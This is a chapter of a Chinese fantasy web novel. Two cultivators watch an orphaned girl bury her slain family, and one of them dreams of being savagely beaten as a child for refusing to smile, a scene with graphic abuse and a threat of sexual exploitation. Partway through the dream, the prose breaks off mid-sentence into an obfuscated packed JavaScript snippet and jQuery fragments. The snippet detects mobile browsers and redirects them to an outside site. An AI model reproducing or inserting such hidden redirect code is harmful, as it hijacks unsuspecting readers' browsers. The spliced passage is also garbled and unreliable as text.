默认冷灰
24号文字
方正启体

11. 笑姻缘(十一)

作者:东山夜读本书字数:K更新时间:
    连着下了一整夜的雨,次日云谷镇放了个大晴,陆谦之一早就同镇长讲了妖祸已平的消息。


    消息传开,冷清了几日的云谷镇终于热闹起来,镇长和陆家牵头要操办庙会来庆祝。


    镇上虽是喜庆,温铃和霍知风此刻却是站在山腰。


    此地草木已深,清泉过石,二人远远看着王秀茵安葬族亲,都不曾开过口。


    王宅众人留下的本就不是完整尸身,加之霍知风先前毁阵,更留不下多少能被掩埋的肢体。


    王秀茵在王家大宅中收捡了半日,一方血肉,一寸骨,甚至一缕发,凡是瞧上去还能看出是人肢的,她都聚到了一处,今晨来与家人的衣物同埋。


    家中所剩无几的财物,她一并典当换了几口棺材,在此处挖了许久,又埋了许久,手指骨节已磨出了血。


    温铃想上前替她接过铁锹,却被王秀茵摇头拒绝了。


    对上那凄婉的眼神,温铃喉头千言万语都咽了下去,又退回到霍知风身边。


    她从没经历过亲人去世,但触景伤情,多少能体会王秀茵心头酸楚,从此茫茫世间,就是独身一人了。


    既是王秀茵执意亲手埋葬王家人,她想自己不该再作打扰。


    天光下,她怔怔地看着王秀茵背影,想起死去的四十七口人,又想起她和霍知风联手诛杀的十七只妖,这书中世界,命似乎是最廉价的东西。明明该最珍贵,却因身份划作三六九等,最末流的凡人生死,也只有亲近之人才在乎了。


    自己也会在这书中死一次,到那时,恐怕不会有王秀茵这样的人祭拜安葬她吧。


    霍知风见她难得规矩地站在一旁,垂首道:“你今日倒是老实。”


    温铃没有多少闲话的心思,她微微仰起头,抬起双眼看他:“师兄,王姑娘日后该怎么办呢?”


    两人视线交错,霍知风沉吟着打量起她,瞧见了她眼里的失意。


    原来是在担心王秀茵的去处。是真心的,还是又在作戏?


    他姑且摇了摇头:“我也不知。她如今成了孤女,已无族亲可以倚仗,往后全看镇长安排了。”


    明明是活生生的人,却落得如此命运,温铃心里一阵悲哀:“老天爷真不公平,偏偏让好人经历这种事。”


    “世上本就是不公平的事多些,再过几年你也会明白。”霍知风负手而立同她讲着,额前的发丝在微风中浮动。


    温铃敛眸,低声抱怨道:“什么再过几年……师兄总把我当小孩子看,其实我也十七岁了,没比你小多少。”


    霍知风说得平淡:“我的确把你当成孩子,却和年纪没有干系,是你太过孩子气了。”


    为什么说她孩子气呢,难道就因为她不甘心这所谓的世上道理么?


    温铃踢了踢凹凸不平的泥土地,小声喃喃:“非得明白这些才算大人么?那我就一辈子当个小孩子好了。”


    “我倒真愿你能做到,不过……”霍知风话说到一半停住了,看着温铃凝目不语,神色格外专注。


    他像是忽的想到了什么,觉得自己的话有些荒谬,失声笑了。


    温铃听得心头一跳:“你想说什么?”


    “没什么。我只是在想,待你体会完一些事,还能不能说出这番话来。”他说着,笑容里却没几分真意。


    温铃看着他垂下的发丝与漆黑的双瞳,摸不透这话里的意图,也不打算问他。


    她只是突然地想,他这几日也笑过几次,又都不是出于欢喜。


    霍知风有真心地笑过吗,那该是什么样子?又或者说,他真的会笑吗?他那双眼睛很好看,带着笑意定然更好看。


    温铃鬼使神差地问他:“师兄,你能不能笑一个给我看看?”


    霍知风神情一滞,唇角有些僵硬:“……我正在笑。”


    温铃知道他在敷衍,心生不满:“我说的不是这种笑。”


    霍知风散去那笑容,暗想她实在难缠,当过一次剑鞘就以为可以戏耍他了吗?


    他冷道:“我听不懂师妹的意思,是哪种笑?”


    这不是明知故问吗?


    温铃伸出两根指头,一左一右撑在嘴角,朝上提起皮肉,动作生硬无比:“师兄你是这样笑的。”


    她又放下手指,托起自己的脸,做了个咧嘴露齿的灿烂笑容:“我说的是这种笑。”


    霍知风看着她的脸,缓缓伸出手,指腹摩挲了自己的脸颊两下:“有何区别?”


    不都是笑么?只要他在笑,她不就该满意了吗?世人都是如此,只要有了表象,真心假意并不重要,她从前也一样。


    因为看到他面上在笑,看他做着师兄该有的模样,便糊涂地以为他对她心存好意,一次又一次贴上来。


    令人厌烦至极。


    温铃看着他,垂眸叹气道:“区别就在于这颗真心啊,它真的觉得高兴吗?”


    她不知那之下的血洞是否愈合,伸手虚指了指,可指尖只是往前一杵,霍知风就蹙起眉头后退几步,像是要躲开她。


    温铃撇嘴,她身上是有病毒还是跳蚤?犯得着这么介意么?


    霍知风别过头去,面上竟少见地有几分失措:“是与不是,都不重要。”


    “很重要的,师兄。如果笑得不真心,你不累吗?”


    她又往前了一步,两人再次拉回了距离。


    霍知风本就比温铃高出一截,若不屈身,这个视角只能看见她的发旋。他瞥了她一眼,看不清她的脸,只能隐约察觉她眼皮翕动着,睫毛微颤,然后她抬头,同他撞上了眼神。


    不单惹人厌烦,而且还令人头痛不已。


    他不着痕迹地移开了目光,想再勾起一个假笑来蒙混过去,却发觉自己的嘴角此刻怎样也抬不起来了,心中只剩恼意。


    “温铃,你如此轻浮行事,是想挨罚了?”霍知风嗓音冷酷,终于懒得应付她,抬出了师门规矩。


    不好。


    温铃听到这话,连忙自己后退了几步,干咳了一声。她纠缠得太过了,差点忘了霍知风是个惹不起的人。


    “师妹错了,还请师兄消气。”她听话地低下了头,作出任听差遣的模样。


    霍知风心中烦闷,不愿再与她多说,冷着脸直望着前方。温铃见他寒霜似的脸,也怕激怒他,紧闭了双唇。


    二人就这样看着王秀茵葬好家人,将鹿妖的头供在坟前,浇上烈酒,重重地跪了下去,对家人磕头拜别。


    撒在空中的白色纸钱纷纷扬扬飘落一地,有些落入了旁边的溪水中,随水而逝,终不知将流向何处。


    *


    如今妖祸已平,温铃历练完成,本该与霍知风一同折回月山。然而镇长热情,陆谦之也作挽留,两人最终决定留到庙会结束后才回山。


    陆谦之应约摆了一桌盛宴,其间自然有那蜜汁叉烧,她搭着菜式一口气吃了好几碗米饭,心情愉快不已,饭后在后院亭台楼阁里闲逛着,喂了池中锦鲤,就沐浴更衣睡下了。


    霍知风却不似她这样惬意,是夜,他做了一场梦。


    梦里,一个面目不清的女人站在他身前,指着他的鼻子斥


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125758|196060||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    骂,四周黑暗笼罩,唯有零星光亮照亮了女人的裙角,他看清了上面用金丝红线绣着一朵火莲。


    看清火莲的一刻,他觉得自己胸口发闷,像淤堵着无数泥浆,就要将他的心淹没。


    女人情绪激动,唾沫横飞,指着他鼻子的手也在微微颤抖:“不识抬举的狗东西,让你跟大老爷笑一声就这么难?摆张死人脸给谁看!”


    梦中的他四肢瘦弱,远不及如今高大,身着一件破布衫,衣衫下俱是红肿的冻伤,唯有那背挺得很直,偏不肯弯下去。


    他敛眸,低声解释:“我不是跟他做脸色,我只是不会笑……”


    女人冷笑了一声,声音尖利,听来无比刺耳:“不会笑?你当自己是佛寺里的金刚像呢?我来教教你,这世上就没人不会笑!”


    说完,女人不知从哪儿抽了条竹棍出来,在空中挥了几下,发出几声破空的响声。


    他知道接下来要发生什么了,但他只是攥紧了拳头,面上波澜不惊。


    女人看他这副样子,心头火气更盛,竹棍在他眼前晃了晃,语气讥讽:“你好样的,铁骨铮铮的大丈夫呀?今日倒让我开开眼,看看你有多大本事。”


    她说完,竹棍向后一抄,打在他腿窝上,显见是要他跪下的意思。


    竹棍并不光滑,有分支而出的利刺,刚才一下扎进了他的皮肉里,加之女人打得极狠,腿上的蓝色破布很快就染上了殷红的颜色。


    他经这么一打,身体晃动着,脚往前险些就要跪倒下去。他却不肯如女人的愿,紧咬着下唇,又将腿收了回去,倔强地直立在那儿。


    女人更恼:“贱种,被你爹妈五个灵石就卖过来的货色,还跟我装起骨气来了。”


    她掌心灵力流动,那竹鞭顿生异彩,似有蓝紫的火舌在竹鞭周身跃动。


    没有迟疑,女人又抬手一挥,再次打在他腿窝上。这次的痛处却全不一样,若说刚才那一下是觉得伤口炙热,这一次就是蚀骨钻心的疼,仿佛有毒蛇钻进了他腿里,正在啃食他的血肉。


    他单薄的身体,支撑不住,终于被这一鞭打得跪了下去,想站起来,却因腿上掉了块肉似的疼,浑身发软,直接栽到了地上。


    梦里的他仍然不甘心,抓着地上的沙土,想要重新使力起身,却看到女人的鞋尖袭面而来,猛踢了他的鼻子。他顿觉鼻骨断了一般地疼,倒抽一口凉气,颤抖着将身子蜷缩了起来。


    他捂着鼻子,双眼泛红,恨恨地想看清女人的面目,却只能看见黑暗漫过了视线,除了裙角,往上什么也看不清。


    又是一鞭,抽在他腰身上,让他不由翻滚了一下,急喘着也压不住直往身上钻的疼痛。


    女人问:“这下会笑了么?”


    他紧咬着牙,不肯说话。


    往后,再是一鞭。


    ……


    过了不知多久,他被抽打得浑身是伤,被女人关进了柴房里。寒风呼啸,他卧倒的地方淌满了血,腿骨已牵连着血肉外露了几寸。


    在泛起寒气的地上,他挣扎着想要爬到门边。


    女人隔着门告诉他:“我劝你还是尽早笑一个,否则嘛……要是真惹恼了大老爷,你这张脸还过得去,说不准要转卖进南风馆做个小倌呢。”


    说着,女人在脑海里寻得了什么乐趣,尖锐地咯咯笑起来:“我还真想看看,你这把倔骨头该怎么在床上硬气。”


    他浑身发寒,愣了半晌,在地上抠挖到渗血的指尖也停了下来。


    良久,他用微不可闻的声音道。


    “我笑。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)